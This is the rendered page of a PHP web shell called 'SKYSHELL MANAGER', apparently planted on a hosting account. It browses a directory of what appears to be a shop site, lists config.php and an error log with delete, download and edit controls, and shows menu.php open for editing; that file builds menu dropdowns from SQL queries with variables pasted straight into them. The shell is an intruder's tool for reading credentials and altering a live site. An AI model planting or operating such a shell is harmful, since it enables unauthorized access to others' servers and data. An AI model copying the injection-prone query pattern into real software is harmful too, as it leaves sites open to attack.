📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
328.23 KB
0644
🗑️
⬇️
✏️
🔒
Editing: menu.php
<?php $sql = "SELECT * FROM category"; $sql2 = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($sql2)) { $mainCatName = $row['name']; $mainCatId = $row['s']; // Main Categories Dropdown echo '<div class="nav-item dropdown" style="text-transform:capitalize;"> <a href="#" class="nav-link" data-toggle="dropdown">' . $mainCatName . '<i class="fa fa-angle-down float-right mt-1"></i></a> <div class="dropdown-menu position-absolute bg-secondary rounded-0 w-100 m-0" data-main-category="' . $mainCatId . '">'; // Sub Categories Dropdown $subCatQuery = "SELECT s, name FROM sub_category WHERE main='$mainCatId'"; $subCatResult = mysqli_query($con, $subCatQuery); while ($subCatRow = mysqli_fetch_array($subCatResult)) { $subCatName = $subCatRow['name']; $subCatId = $subCatRow['s']; // Check if there are no primary categories associated $pryCatQuery = "SELECT * FROM pry_category WHERE main ='$subCatId'"; $pryCatResult = mysqli_query($con, $pryCatQuery); // If no primary categories exist, make the subcategory a link //if (mysqli_num_rows($pryCatResult) == 0) { echo '<a href="view-products.php?type=subcategory&category=' . $subCatId . '" class="dropdown-item"> <i class="fas fa-fw fa-star"></i> ' . $subCatName . '</a>'; } echo '</div></div>'; } ?>
💾 Save Changes